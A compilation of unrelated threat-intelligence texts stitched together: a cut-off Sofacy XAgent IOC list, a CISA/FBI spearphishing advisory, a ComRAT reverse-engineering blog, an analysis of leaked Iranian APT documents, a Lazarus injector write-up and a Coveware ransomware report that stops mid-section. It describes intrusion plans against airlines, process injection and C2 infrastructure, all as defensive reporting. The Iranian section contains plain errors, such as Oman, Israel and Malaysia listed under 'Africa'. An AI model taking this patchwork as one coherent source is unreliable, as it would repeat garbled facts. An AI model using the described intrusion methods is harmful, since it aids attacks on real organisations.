The Sofacy group continues to bolster their toolset to carry out attack campaigns on multiple platforms. In this case, the threat group uses the same name XAgent for this macOS-based tool as one of their Windows-based tools. Also, the macOS variant of this tool uses a similar network communications method as its Windows counterpart, which suggests this group continues to use consolidated C2 services to control compromised hosts.
### Indicators of Compromise
- **SHA256**: `2a854997a44f4ba7e307d408ea2d9c1d84dde035c5dab830689aa45c5b5746ea`
- **Command and Control**:
- `23.227.196[.]215`
- `apple-iclods[.]org`
- `apple-checker[.]org`
- `apple-uptoday[.]org`
- `apple-search[.]info` |
# Sophisticated Spearphishing Campaign Targets Government Organizations, IGOs, and NGOs
## Summary
This Joint Cybersecurity Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, Version 9. The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) are addressing a spearphishing campaign targeting government organizations, intergovernmental organizations (IGOs), and non-governmental organizations (NGOs). A sophisticated cyber threat actor leveraged a compromised end-user account from Constant Contact, a legitimate email marketing software company, to spoof a U.S.-based government organization and distribute links to malicious URLs. CISA and FBI have not determined that any individual accounts have been specifically targeted by this campaign.
CISA and FBI acknowledge open-source reporting attributing the activity discussed in the report to APT29 (also known as Nobelium, The Dukes, and Cozy Bear). However, CISA and FBI are investigating this activity and have not attributed it to any threat actor at this time. CISA and FBI will update this Joint Cybersecurity Advisory as new information becomes available. This advisory contains information on tactics, techniques, and procedures (TTPs) and malware associated with this campaign. For more information on the malware, refer to Malware Analysis Report MAR-10339794-1.v1: Cobalt Strike Beacon. CISA and FBI urge governmental and international affairs organizations and individuals associated with such organizations to adopt a heightened state of awareness and implement the recommendations in the Mitigations section of this advisory.
## Technical Details
Based on incident reports, malware collection, and trusted third-party reporting, CISA and FBI are addressing a sophisticated spearphishing campaign. A cyber threat actor leveraged a compromised end-user account from Constant Contact to send phishing emails to more than 7,000 accounts across approximately 350 government organizations, IGOs, and NGOs. The threat actor sent spoofed emails that appeared to originate from a U.S. Government organization. The emails contained a legitimate Constant Contact link that redirected to a malicious URL, from which a malicious ISO file was dropped onto the victim’s machine.
The ISO file contained:
1. A malicious Dynamic Link Library (DLL) named Documents.dll, which is a custom Cobalt Strike Beacon version 4 implant.
2. A malicious shortcut file that executes the Cobalt Strike Beacon loader.
3. A benign decoy PDF titled “Foreign Threats to the 2020 US Federal Elections” with the file name “ICA-declass.pdf.” The decoy file appears to be a copy of the declassified Intelligence Community Assessment pursuant to Executive Order 13848 Section 1(a).
Cobalt Strike is a commercial penetration testing tool used to conduct red team operations. It contains a number of tools that complement the cyber threat actor’s exploitation efforts, such as a keystroke logger, file injection capability, and network services scanners. The Cobalt Strike Beacon is the malicious implant that calls back to attacker-controlled infrastructure and checks for additional commands to execute on the compromised system.
The configuration file for this Cobalt Strike Beacon implant contained communications protocols, an implant watermark, and the following hardcoded command and control (C2) domains:
- dataplane.theyardservice[.]com/jquery-3.3.1.min.woff2
- cdn.theyardservice[.]com/jquery-3.3.1.min.woff2
- static.theyardservice[.]com/jquery-3.3.1.min.woff2
- worldhomeoutlet[.]com/jquery-3.3.1.min.woff2
The configuration file was encoded via an XOR with the key 0x2e and a 16-bit byte swap. For more information on the ISO file and Cobalt Strike Beacon implant, including IOCs, refer to Malware Analysis Report MAR-10339794-1.v1: Cobalt Strike Beacon.
## Indicators of Compromise
The following IOCs were derived from trusted third parties and open-source research:
- **URL:** https[:]//r20.rs6.net/tn.jsp?f=
- **Host IP:** 208.75.122[.]11 (US)
- **Owner:** Constant Contact, Inc.
- **Activity:** legitimate Constant Contact link found in phishing email that redirects victims to actor-controlled infrastructure at https[:]//usaid.theyardservice.com/d/<target_email_address>
- **URL:** https[:]//usaid.theyardservice.com/d/<target_email_address>
- **Host IP:** 83.171.237[.]173 (Germany)
- **Owner:** [redacted]
- **First Seen:** May 25, 2021
- **Activity:** actor-controlled URL that was redirected from https[:]//r20.rs6.net/tn.jsp?f=; the domain usaid[.]theyardservice.com was detected as a malware site; hosted a malicious ISO file "usaid[.]theyardservice.com"
- **File:** ICA-declass.iso [MD5: cbc1dc536cd6f4fb9648e229e5d23361]
- **File Type:** Macintosh Disk Image
- **Detection:** Artemis!7EDF943ED251, Trojan: Win32/Cobaltstrike!MSR, or other malware
- **Activity:** ISO file container; contains a custom Cobalt Strike Beacon loader; communicated with multiple URLs, domains, and IP addresses
## Mitigations
CISA and FBI urge CI owners and operators to apply the following mitigations:
- Implement multi-factor authentication (MFA) for every account.
- Keep all software up to date.
- Implement endpoint and detection response (EDR) tools.
- Implement centralized log management for host monitoring.
- Deploy signatures to detect and/or block inbound connections from Cobalt Strike servers and other post-exploitation tools.
- Implement unauthorized execution prevention by disabling macro scripts from Microsoft Office files transmitted via email.
- Configure and maintain user and administrative accounts using a strong account management policy.
- Implement a user training program and simulated attacks for spearphishing.
## Contact Information
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [email protected].
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse. |
# An Exhaustively-Analyzed IDB for ComRAT v4
September 1, 2020
Rolf Rolles
This blog entry announces the release of an exhaustive analysis of ComRAT v4. You can find the IDBs here. More specifically, an IDB for the sample with hash 0139818441431C72A1935E7F740A1CC458A63452, which was mentioned in the ESET report (see especially its attached PDF), and which is available online on Hybrid Analysis. All of the analysis has been performed in Hex-Rays 64-bit, so the results will be less interesting to IDA users who do not own Hex-Rays 64-bit. That is to say, if you open the IDB, you should definitely use Hex-Rays to view the function decompilations, as that is where all of the naming and commenting has taken place. It is rich with detail, in comparison to the disassembly listing's barrenness.
This analysis took roughly six weeks of full-time work. I have spent the pandemic working on a new training class on C++ reverse engineering; part of the preparation includes large-scale analysis of C++ programs. As such, ESET's report of ComRAT's use of C++ caught my eye. ComRAT has a beautiful architecture, and many sophisticated components, all of which I believe deserve a detailed report unto themselves. I had begun writing such a report, but decided that it was side-tracking me from my ultimate goals with my new training class. Hence, I had decided to wait until the class was ready, and release a collection of reports on the software architectures of C++ malware families (perhaps as a book) after I was done. Thus, my write-up on ComRAT's architecture will have to wait. You can consider this release, instead, as a supplement to the ESET report.
(Note that if you are interested in the forthcoming C++ training class, it probably will not be available for roughly another year. More generally, remote public classes (where individual students can sign up) are temporarily suspended; remote private classes (multiple students on behalf of the same organization) are currently available. If you would like to be notified when public classes become available, or when the C++ course is ready, please sign up on our no-spam, very low-volume, course notification mailing list.)
(Note also that I have more analyses like this waiting to be released. FlawedGrace and XAgent are ready; Kelihos is in progress. If you can provide me with a bundle of Careto SGH samples, preferably Windows 64-bit, please get in touch.)
## About the Analysis
This analysis was conducted purely statically, without access to RTTI, or any other form of debug information. The only external information I had was the ESET report. I have reverse engineered every function in the binary that is not part of the C++ standard library, and some of those that are. To get an idea of what the sample looks like before and after analysis, here's a screenshot of the binary freshly loaded into IDA on the left, versus the analyzed one on the right. See if you can spot the difference.
Although I believe that the IDB could probably be loaded in versions of IDA prior to 7.5, I nevertheless recommend using IDA 7.5 to view it. The reason for that is because I have made extensive use of 7.5's new "folders" feature to organize the functions and local types windows, which I found massively useful for large-scale reverse engineering. Those two windows have a nearly identical organization; if you were to dock the windows side-by-side, you would see something like this.
As a result of this analysis, I wrote many Hex-Rays plugins, and devised a number of techniques in C++ reverse engineering that were new to me. Eventually, I will publish on topics such as the following:
- A Hex-Rays plugin for navigating virtual function cross-references
- Reverse engineering STL containers, the easy way
- A Hex-Rays plugin for virtual inheritance
- Tips for reverse engineering multiple inheritance
- Automated creation of VTable structure types
- Automation for detecting inlined functions, and the addition of stock comments
ComRAT uses a lot of C++ features; a mostly complete list follows. If you're interested in learning how to reverse engineer C++ programs, you might do well to study how I analyzed the parts of the binary that interact with them.
- Inheritance
- Polymorphism (virtual functions)
- Custom templates
- Multiple and virtual inheritance (due to iostreams)
### STL, listed in descending order of usage frequency:
- shared_ptr<T>
- vector<T>
- string
- wstring
- locale
- unique_ptr<T>
- wstringstream
- stringstream
- fstream
- list<T>
- map<K,V>
- regex
- wstring_convert
- random
## Notes on the Sample
1. Although the use of Gmail as a covert channel was a major aspect of the ESET report, I could not get my hands on any samples that had that feature. However, this sample does contain some of the Gmail communication code -- the Gumbo library is compiled into it, and the configuration in the virtual file system contains a "mail" subdirectory, with similar entries to those in the ESET report. Perhaps that feature was still in development, or was deliberately not compiled into my sample for whatever reason.
2. One striking feature of the ESET report was that their sample had RTTI information compiled into it, which provided the names of many of the classes used within ComRAT. I.e., section 4.3 of the ESET report mentions specific class names, as created by the ComRAT programmers. However, my sample had no such RTTI information. Therefore, all of my analysis had to be done from scratch. I used the few names provided in the report as a guide when creating my own.
3. To the extent I was able to verify their claims, everything in the ESET report is accurate. There are a few minor technical details in my sample that were different, but are barely worth mentioning, and might have legitimately changed between the creation of my sample and the non-public one they analyzed. |
# Iranian Nation-State APT Groups 'Black Box' Leak
## Overview of Targets, Plans, and Attack Vectors
### Israeli companies mentioned in the documents
- Israir
- Teletus
- Various Israeli hotels
- Most of the Israeli insurance companies
### Outline of the preliminary data gathering operation and attacks on Ethiopian Airlines and Malaysia Airlines
1. Preparation sessions – learning about Iranian airlines operating from Iranian airports. This included learning about Operational Technologies (OT) used by the airlines and airports.
2. Identifying the Database (DB) admins for the targeted airlines.
3. Identifying the admins of various systems exposed to the internet.
4. Breaching the targeted airlines network and attempting to compromise additional systems.
5. Once within the network, obtaining admins' passwords.
6. Identifying the DC.
7. Exfiltrating the DC's logs.
8. Exfiltrating the Events Security logs.
9. Identifying various systems' IP addresses.
10. Breaching critical servers via brute force techniques.
11. Assessing if and how it is possible to breach the DB by analyzing the files (note – it is unclear what files the document is referring to).
12. Accessing the DB.
A specific clause to Malaysian Airlines – receiving the dump
13. Exfiltrating the data.
14. Compromising or creating Web servers to receive the data.
15. Collaborating with other teams in order to analyze the data.
### Attack on AirAsia
**First stage – breaching their network.**
1. Obtaining the company's IP addresses.
2. Conducting penetration tests on their network.
3. Gathering a list of all of the company's websites as well as any other website linked to the company, and then conducting penetration tests on them.
4. Breaching any vulnerable asset.
**Second stage – obtaining sensitive data.**
1. Obtaining usernames and passwords of employees.
2. Leveraging compromised employee accounts to evaluate the systems admins.
### Attack on Philippine Airlines
1. Using a VPN to access the company's internal network.
2. Obtaining usernames and passwords for the company's workstations, servers, and email accounts.
3. Evaluating the system admins and assets to determine whether it is possible and how to execute the attack.
4. Leveraging the compromised data from the breached systems and DBs.
### Problems the attackers encountered
1. Robust anti-virus installed on critical systems.
2. Strong firewalls that prevented access to various ports.
3. The use of a local Microsoft Office365 email server. As a result, even after the attackers obtained usernames and passwords they were unable to remotely log in to them.
4. Network segmentation – the internal network was not connected to the external network.
### Attack on Thai Airways
1. The attackers used a compromised email of a Fly Dubai employee to send phishing emails to other employees. The email contained an attachment of a malicious Excel file with various flight lists.
2. This file was created by the penetration team (likely Muddy Water). Out of the 40 recipients, 5 individuals opened the email and infected their computers.
3. After they obtained these employees' usernames and passwords, the attackers accessed two databases. The first was an Oracle DB, while the other was an IBM DB2 database.
### Attack on the Azerbaijani Department of Health
1. Locating vulnerable websites hosted on the governmental network.
2. Searching on Google for absolute addresses within the vulnerable websites.
3. Attempting to execute SQL injections on these sites. This appeared to have been unsuccessful.
4. Creating shells on the databases.
5. Using a shell to send remote commands to compromised computers. This method was conducted via Desktop Protocol (RDP).
### Attack on the website – roshan.af
**First stage – attempting to breach the network via a social engineering attack.** This attack was unsuccessful as nobody opened the malicious file. Concurrently, breaching the Linux system used by the website and injecting a shell. Note however that the Linux system had limited capabilities (it is unclear what the attackers meant by this). After considerable efforts, the attackers eventually were able to install a hydra system. Afterwards, the attackers executed a successful brute force attack on the SMB systems.
The attackers detail the most valuable type of data they were trying to obtain from the DB:
1. Email addresses of directors and other key individuals in the organization.
2. Types and version of the system used by the organization.
3. Network layouts.
4. List of open ports.
5. List of active internal ports used by employees for purchases.
6. List of ports used for communication. It is unclear what the attackers mean by this. Possibly ports used by various chat programs.
### Attack on Etihad Airways
The attack on the UAE airline was executed via RDP – CITRIX account. Once in, the attackers gathered intelligence, notably usernames and passwords.
### A strategic document regarding the creation of Rana
**First stage – the need for Rana**
According to the document, the leader of Iran believes it is vital to develop and expand the country's intelligence gathering and cyber capabilities (developing malware and viruses, various systems, etc.). Accordingly, they created a specialized cyber espionage unit that also had the objective of protecting the regime if need be.
**Second stage – Rana's objectives**
- Propagating the Islamic culture and its ideas.
- Obtaining and providing the leader with strategic intelligence.
- Developing technological knowledge and capabilities.
- Conducting cyber and intelligence warfare with the rest of the world.
- Utilizing Iranian experts, particularly members of universities in Tehran, as consultants on matters of information security.
- Using these new skills and capabilities to promote and achieve the government's objectives.
- Obtaining intelligence of value to various governmental departments and industrial sectors (note that the Department of Defense oversees the Iranian industrial-defense complex rather than the military).
- These objectives are then followed by more specific goals related to the Iranian population, including expanding the intelligence gathering operation within the country by hacking Iranian universities, mobile companies, airports, etc. (note – it is unclear however the document possibly also refers to Iranian individuals who have contacts to people outside of the country).
### Rana sub-group – trojan and malware teams
The objective of this sub-group is hacking, developing malware and attack tools, establishing and maintaining a foothold on compromised networks, etc. One other objective is using malware to identify anyone who poses a threat to the regime such as riot leaders. The members of the group are experts in IT, encryption algorithms, firmware, malware, and virus development. Further, they are fluent in various foreign languages.
The group can be categorized into several teams:
- Linux.
- Viruses (likely Microsoft based however this is unclear).
- MAC OS.
- Mobile.
- Networks and web development.
From the documents, it appears that the Networks and web development team is knowledgeable in the following systems and languages:
1. HTML, HTML5, CSS.
2. PHP, Python, SCALA, RUBY AND RAILS, SPT, .NET.
3. Javascript.
4. SQL server, MySQL, Oracle, NoSQL.
From the documents, it appears that other than IT skills, the mobile team is knowledgeable and has development skills in the following mobile operating systems:
- Android OS.
- iOS.
- Windows Mobile.
### Targeted entities
The main targets of the group are:
- Governmental departments, agencies, and offices.
- Airlines.
- Telecom companies.
- IT companies.
### Targeted countries
**Asia**
- Sri Lanka
- India
- UAE
- Dubai
- Thailand
- Philippines
- Syria
- Azerbaijan
- Afghanistan
- Pakistan
- Hong Kong
**Africa**
- Oman
- Israel
- Turkey
- Iraq
- Qatar
- Lebanon
- Malaysia
- Indonesia
- Kuwait
- Bahrain
**Other**
- Egypt
- Morocco
- Ethiopia
- Kenya
- South Africa
- Mauritius
- Fiji
- New Zealand
- Australia
- Colombia
## Analysis of Targets, Plans, and Attack Vectors
### Summary of the Event
Over the last few weeks, several significant leaks regarding a number of Iranian APTs took place. After analyzing and investigating the documents, we conclude that they are authentic. Consequently, this causes considerable harm to the groups and their operation. The identity of the actor behind the leak is currently unknown; however, based on the scope and the quality of the exposed documents and information, it appears that they are professional and highly capable. This leak will likely hamstring the groups' operation in the near future. Accordingly, in our assessment, this will minimize the risk of potential attacks in the next few months and possibly even year.
Note - most of the leaks are posted on Telegram channels that were created specifically for this purpose. Below are the three main Telegram groups on which the leaks were posted:
- **Lab Dookhtegam** pseudonym ("The people whose lips are stitched and sealed" – translation from Persian) – In this channel, attack tools attributed to the group 'OilRig' were leaked; including a webshell that was inserted into the Technion, various tools that were used for DNS attacks, and more.
- **Green Leakers** – In this channel, attack tools attributed to the group 'MuddyWatter' were leaked. The group's name and its symbol are identified with the "green movement," which led the protests in Iran after the Presidential elections in 2009. These protests were heavily repressed by the revolutionary guards (IRGC).
- **Black Box** – Unlike the previous two channels, this has been around for a long time. On Friday, May 5th, dozens of confidential documents labeled as "secret" (a high confidentiality level in Iran, one before the highest - top secret) were posted on this channel. The documents were related to Iranian attack groups' activity.
The documents leaked on Friday include:
Documents by the Iranian Ministry of Intelligence (comparable to the FBI and CIA) with information about a group known as "Rana." At this stage, we cannot attribute the group to other known Iranian actors. The documents shed light on some aspects of the group's activity, notably:
- Tracking Iranians
- Tracking Iranian citizens outside of Iran
- The group's members
These documents contain lists of victims, cyber-attack strategies, alleged areas of access, a list of employees, and screenshots from internal websites relevant to espionage systems. Further, one of the documents appears to be from the center for IT security incidents "Kavesh." Note however that it was adapted from the original document by the Islamic Revolutionary Guard Corps, and now also contains their symbol. This document was partly leaked and contained details regarding a development program of malware for attacking SCADA systems (similar to Stuxnet).
In this item, we review the documents relevant to Israel and to attack capabilities. We translated the documents independently and did not use Google. Note that there are some ambiguous sentences.
### Documents from the Iranian Ministry of Intelligence
**Rana team**
In this leak, there are numerous confidential documents with a level of "secret," which detail Rana's goals. They appear to have been written by a hacking and penetration team within the Iranian Ministry of Intelligence's cyber operations department.
**Infrastructure used by the team**
We are continuing to examine these servers and will update on our findings.
**Proof that VMware is used to enter and trade with cryptocurrency wallets**
Amongst the documents, there was also an image which, according to the leakers, proves an attempt to conceal currency procurement (perhaps due to the sanctions on Iran). This was done using a virtual environment – VMware server.
### End of year Report 2015 (1394 according to Persian calendar)
The first pages from the 1394 end of year report (March 2015 – March 2016) were leaked. They contain a strategic plan to hack airline companies and collect information about them. Based on this report, we believe that hacking attempts on airline companies were carried out. The writers of the document stated that some important people in the country use international airlines, and therefore the following information should be gathered:
1. Information about flights.
- Flights routes that could be under foreign surveillance.
- Comprehensive information on identification scenarios of passengers and identifying important people on the plane.
- Certain individuals that could board a flight in disguise (for example, a scenario where Iranian citizens depart from Iran, and then fly to Israel via another country such as Dubai).
- Information on suspicious people that boarded specific flights, for example "the man" who was on the flight from Tehran to Moscow on January 1st, 2014, and flew on April 7th, 2016 from London to Tel Aviv.
2. Information about passengers in specific airlines (the airlines were not mentioned). Specifically - first name, last name, passport number, visa number, ethnicity, communication details, how the tickets were sold and bought.
3. Information about the flight crew. For example, number of pilots on a flight from Dubai to London.
4. Information about airline employees, with an emphasis on executives, managers, network admins, airport managers, and booking operators.
5. Information about the airlines' financial status.
6. Information on equipment used by the company. This includes planes (e.g. number and type of planes, their condition, when they were used last, etc.) as well as computer equipment (number and type of servers and computers, etc.).
Note - at the end of the page, it is stated that in the next pages there will be a specific list of targets, but this page is missing from this leak.
### Report on the first half of 1395
In another report regarding 1395 (specifically March 2016 – August 2016), several tracking projects are detailed. A documentation regarding attacks that were carried out on airlines' databases, including the Israeli airline 'Israir'. Below is a full translation of relevant parts of the document:
- The airline's database
- Entering Qatar's database, and queries on flights.
- Entering Israir's database.
- Query on Dubai activity.
- Query on Skyward's activity.
- The Turkish police database.
- Cooperation with these targets' attack groups.
- Examine Israir's databases.
- Examining an insurance company's databases in Saudi Arabia.
- Examining RTA's databases from the UAE.
The next page contains an R&D clause, with details on measures taken before attacks, preliminary research, and possible attack vectors. Some of the measures include:
- A meeting with employees from the international airport in Tehran to learn about the airport's systems.
- Research on various databases.
- Research on using ORACLE and SQL server. In this regard, the attackers worked with SQL Loader and Bulk insert in order to quickly enter databases, and with BCP utility to copy the information from the servers.
Moreover, the document also mentions gathering information on flights – mapping of assets that can be used to check-in, security procedures on the plane, and data collection via the real-time flight tracking website FlightRadar24.
### Attacks on Israel
**Attacks on insurance companies** – A document with the title "Hacking Israel's insurance companies." It contains a list of Israeli insurance companies. Note that the title in Persian does not enable us to discern if it is an attack that already took place, or a list of future targets.
**Attacks on hotel booking websites in Israel** – Below is a screenshot from a document with information about two hotel booking websites. It lays out the website's main activity, the access obtained, and the intelligence gathered. According to the document, Israelhotels.org is one of the most important hotel booking websites. Further, it alleges that they gained full access to the website's database. The documents contain information on 120 thousand of the website's users, including name, password, and around 86 thousand credit cards.
**Israeli airlines' databases** – Like the strategic documents, this document also mentions an attack against Israir. The attack includes attempts to gather information from Israir's booking system's database, which mainly includes information about bookings and credit cards. Due to the many error messages in the document, we cannot determine whether this attack succeeded or failed. The attack was carried out on MSSQL 2000 servers that the company uses.
**User-Agent:** Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij
**Attack on Teletus website and other hotel booking companies** – a strategic report on an attack against the Israeli firm Teletus. Its goal was to obtain access to websites connected to hotel bookings in Israel. According to the report, the breach was successful. The information was presented in a strategic report from Spring 1393 (April – May 2014), but the nature of the report is unknown.
**An attack on the Israeli Ministry of Agriculture** – a table from a document with ambiguous content.
### Attacks on non-Israeli targets
In addition to the above documents, there are also dozens of other documents relevant to other countries. For example, several documents contain information on attacks against government ministries in Kuwait. The goal of the attack was to obtain access to a Kuwaiti email service and gather information on the Ministry of Foreign Affairs through it.
A strategic report from the first half of 1396 (March – August 2017) describes activity carried out against Kuwait. According to this document, two teams worked on the attack: the hacking team and the social engineering team. The document was written in first person plural, and was most likely written by the attack team.
**Below is an outline of the hacking team's operation**
At first, the team carried out various tests, including penetration tests on systems of the Foreign Ministry. Then they mapped all the IP addresses, the domains, the websites, and the apps used by the ministry. The team carried out more tests to see what is open and accessible in the network. They found out that they could obtain the highest level of control of the targeted servers. After a full examination, they transferred their conclusions to the social engineering team. The hacking team also obtained access to the ministry's employee database and sent spam messages to everyone within the ministry in order to validate the emails using a mail tracker.
**Below is an outline of the social engineering team**
- Phishing – Phishing attacks on numerous firms, for example "Atam Alanya" hospital and the Qatari oil company.
- Spear-phishing – The team communicated directly with people related to the Foreign Ministry.
Concurrently, they worked on R&D: setting up a server and website, preparing the malware written in Python, and planning the activity together with the technical teams.
Based on another document that details an attack on the Foreign Ministry, it appears that the attack was successful.
### IRGC Documents
Another document with the IRGC symbol contains a plan named project 910. It outlines the development of malware and a C2 (command and control) server. According to the report, the project intended to damage SCADA systems. It is a botnet, but in fact behaves like a spy-malware with identification, espionage, and remote connection abilities. As of 09/12/1394 (February 28th, 2016 - the date the document was written), the project was unsuccessful and did not achieve its goals despite a large budget.
Additionally, we detected another document that extensively details the attack vector, but lacks the part about the bot in the leaked document. Further, the document does not have the IRGC symbol.
In this item, we review only the document leaked, based on the assumption that the malware was modified for project 910.
**Attack vector as presented in the document:**
The documents in our possession are incomplete. Accordingly, we are unable to provide a full and accurate assessment of the attack vector. Below are screen captures from the documents showing flow charts of the attack vector. |
# The Lazarus Injector
In May and June, two files were submitted to VirusTotal that were signed with the same digital certificate and were connected to the SWIFT-heist wing of the DPRK. One file is a re-themed version of the fake resume creating tool used in the Redbanc and Pakistan attacks. The second file is a tool used to inject and run payloads inside of explorer.exe. This brief post documents the capabilities of this second tool.
**MD5:** b9ad0cc2a2e0f513ce716cdf037da907
**SHA1:** 1a50a7ea5ca105df504c33af1c0329d36f03715b
**SHA256:** db0f102af2d350aa1a63772e6ee9b211d78aa962a34f75c8702e71ccd261243e
## Parameter Check
The malware expects at least one parameter: a file path (pointing towards the injected payload) to be passed to it during execution. The majority of the injector’s workflow takes place within two functions. In the first function, the injector checks for any arguments set during execution. If this number is less than 3, the malware will jump to a “create file check.”
If, however, this number is greater than or equal to 3, the malware will begin checking for execution parameters. These can be seen in clear-text during debugging. Accepted parameters include -S, -E, and -D. Of these, only -S has an immediately discernible purpose: it causes the malware to sleep.
## Payload Checks
After checking for these parameters, the malware performs an additional check: it uses the passed filepath and attempts to open a handle at this location with CreateFile. If this is unsuccessful, the malware will exit this workflow and terminate. In addition, the malware makes two additional checks: one to GetFileSize and one to ReadFile. Each is followed by a “test EAX EAX” instruction. In practical terms, this ensures that the file in question has a size greater than zero (i.e. isn’t empty) and can be read by the malware.
Next, the malware calls WTSEnumerateProcessesA to list the running processes. It cycles through these until it identifies the process for Explorer.exe, at which point it enters the subroutine.
## Injection Routine
This routine is the parent function for decoding and dynamically resolving several API calls related to process resolution. The file then allocates a section of memory to Explorer and writes the payload to this memory section (using the resolved APIs). It resolves the NTCreateThreadEx API and then creates and executes a thread at this location.
## Cleaning Up
At this point, the malware returns to the original loop that was used to identify Explorer.exe as a running process. Curiously, the malware actually continues to run in this loop rather than breaking the loop once it is found. Once this loop completes, the malware will exit this function and the loader will terminate. If the -D or -S parameters were specified, the malware will overwrite the original contents of the loaded payload and then delete this file from disk. If -E is specified, the malware will actually skip this step.
At this stage, the payload is expected to be run in memory and the “loading” is complete. |
# Ransomware Attack Vectors Shift as New Software Vulnerability Exploits Abound
April 26, 2021
The Coveware Quarterly Ransomware Report describes ransomware incident response trends during Q1 of 2021. Data exfiltration extortion continues to be prevalent, and we have reached an inflection point where the vast majority of ransomware attacks now include the theft of corporate data. Q1 saw a reversal of average and median ransom amounts. The averages in Q1 were pulled up by a raft of data exfiltration attacks by one specific threat actor group that opportunistically leveraged a unique vulnerability.
## Average and Median Ransom Payments in Q1 2021
**Average Ransom Payment**
$220,298
+43% from Q4 2020
**Median Ransom Payment**
$78,398
+59% from Q4 2020
The average ransom payment increased 43% to $220,298 from $154,108 in Q4 of 2020. The median payment in Q1 also increased to $78,398 from $49,450, a 58% increase. Averages and median were pulled higher by a small number of threat actor groups, most specifically CloP, that were extremely active during Q1 and impacted large victims with very high ransom demands. As the data exfiltration tactic has proliferated, the risk/reward characteristics of paying to suppress a leak have not changed. We first noted this trend in our Q3 report; victims of data exfiltration extortion have very little to gain by paying a cyber criminal, and despite the increase in demands and higher prevalence of data theft, we are encouraged that a growing number of victims are not paying. Over hundreds of cases, we have yet to encounter an example where paying a cyber criminal to suppress stolen data helped the victim mitigate liability or avoid business/brand damage. On the contrary, paying creates a false sense of security, unintended consequences, and future liabilities. Coveware’s position remains unchanged, and we advise victims of data exfiltration extortion to assume the following:
- The data will not be credibly destroyed. Victims should assume it will be traded to other threat actors, sold, misplaced, or held for a second/future extortion attempt.
- Exfiltrated data custody was held by multiple parties and not secured. Even if the threat actor deletes a volume of data following a payment, other parties that had access to it may have made copies so that they can extort the victim in the future.
- The data may be deliberately or mistakenly published before a victim can even respond to an extortion attempt.
- Complete records of what was taken may not be delivered by the threat actor, even if they explicitly promise to provide such artifacts after payment.
## 77% of Ransomware Attacks Involved the Threat to Leak Exfiltrated Data (+10% From Q4 2020)
The percentage of ransomware attacks that included a threat to release stolen data increased from 70% in Q4 to 77% in Q1. The majority of ransomware attacks that involve data exfiltration have two main goals: 1) exfiltrate corporate data from the most convenient file server, and 2) escalate privileges and deploy ransomware on as many endpoints as possible. Most RaaS affiliates purchase network access and use stolen data solely as additional leverage against the victim. This means that despite the threats, threat actors rarely take the time to steal data that any other criminals or interested parties would want to purchase. The stolen data is just proof that the attack occurred and sometimes creates legal obligations for the victim.
The CloP ransomware group took a very different strategy in their Q1 exploitation of Accellion’s FTA product. Beginning in late December and continuing through much of Q1, CloP exploited two zero-day vulnerabilities that allowed for remote code execution within unpatched Accellion FTA instances. This was a highly sophisticated and targeted exploitation of a single software appliance, only used by a handful of enterprises. The CloP group may have purchased the exploit used in the initial stages of the attack, so as to have exclusive use. This behavior stands in stark contrast to how most unauthorized network access is brokered through the cyber extortion supply chain to any willing purchaser post-exploitation. Moreover, the Accellion exploit did not allow for the deployment of ransomware across the victim's environment, so data theft from the appliance was the sole target of CloP's campaign from the outset.
Unlike most exploits used by ransomware threat actors, unpatched Accellion FTA instances are rare (likely less than 100 total), especially when compared to vulnerable RDP instances which number hundreds of thousands globally. CloP’s confidence that such a small number of targets would yield a positive financial return must have been high, and unfortunately, they were correct. Dozens of CloP victims were extorted for tens of millions of dollars even though the majority of the victims opted not to pay and were subsequently doxxed on the CloP leak site. As of early April, the CloP/Accellion campaign seems to have run its course, and the CloP group has returned to using traditional network access vectors and encryption ransomware in its attacks.
## Most Common Ransomware Variants in Q1 2021
| Rank | Ransomware Type | Market Share % | Change in Ranking from Q4 2020 |
|------|------------------|----------------|---------------------------------|
| 1 | Sodinokibi | 14.2% | - |
| 2 | Conti V2 | 10.2% | +4 |
| 3 | Lockbit | 7.5% | +6 |
| 4 | Clop | 7.1% | New in Top Variants |
| 5 | Egregor | 5.3% | -3 |
| 6 | Avaddon | 4.4% | +3 |
| 7 | Ryuk | 4.0% | -4 |
| 8 | Darkside | 3.5% | New in Top Variants |
| 9 | Suncrypt | 3.1% | -1 |
| 9 | Netwalker | 3.1% | -5 |
| 10 | Phobos | 2.7% | -1 |
Ransomware-as-a-Service operations ratcheted up the competition for affiliates and credibility in Q1. As these groups have grown in size, so has associated operational complexity and risk. Some failures of operating a criminal enterprise at scale were observed during Q1 include:
- **Egregor**: Sunsetting operations only 4 months after taking the torch from the Maze group.
- **Netwalker**: Ceased activities following a complete law enforcement takedown of infrastructure and arrest of affiliate participants.
- **Conti**: Growing pains as their outsourced chat operations complicated victim recoveries and negotiations. Additionally, Conti has also been re-attacking prior victims and launching new attacks shortly after an initial attack was sustained. A practice at odds with a RaaS organization interested in maintaining a reputation that compels victims to pay a ransom.
- **Lockbit**: Technical flaws in the ransomware that resulted in data loss of encryption victims. The group has also been associated with numerous re-extortion demands.
- **Sodinokibi**: Technical flaws that resulted in victims unable to match encryption keys, resulting in total data loss.
- **BlackKingdom**: Attempted a mass exploit of exchange webshells, but flaws in their encryption led to permanent data loss.
A new trend in Q1, several RaaS operations turned their focus to developing encryption modules for Unix and Linux. We have now observed this development from Defray777, Mespinoza, Babuk, Nephilim, and Darkside. Sodinokibi is also making rumblings about releasing a Unix version. Victims running Unix and Linux should expect complications and data loss. Early versions of any ransomware generally include bugs that the threat actors either don’t know about or don’t care to fix before targeting victims.
## Most Common Ransomware Attack Vectors in Q1 2021
Ransomware attack vectors: RDP compromise, email phishing, software vulnerability, and others.
In Q1, compromised remote desktop protocol connections regained the top position as the most common attack vector. RDP remains a frustratingly common vulnerability despite well-known secure remote connection best practices. Phishing emails that install credential stealing malware or a remote access trojan also remain a common attack vector. Like RDP, defense techniques that include least privilege and two-factor authentication can easily limit the ability of an attacker to escalate privileges beyond the initially compromised machine.
Defending against the escalatory impact of a successful phishing attack requires no new hardware or software, just the will to implement and follow simple tools and configurations properly.
## Attack Vectors used by the Top Three Ransomware Variants
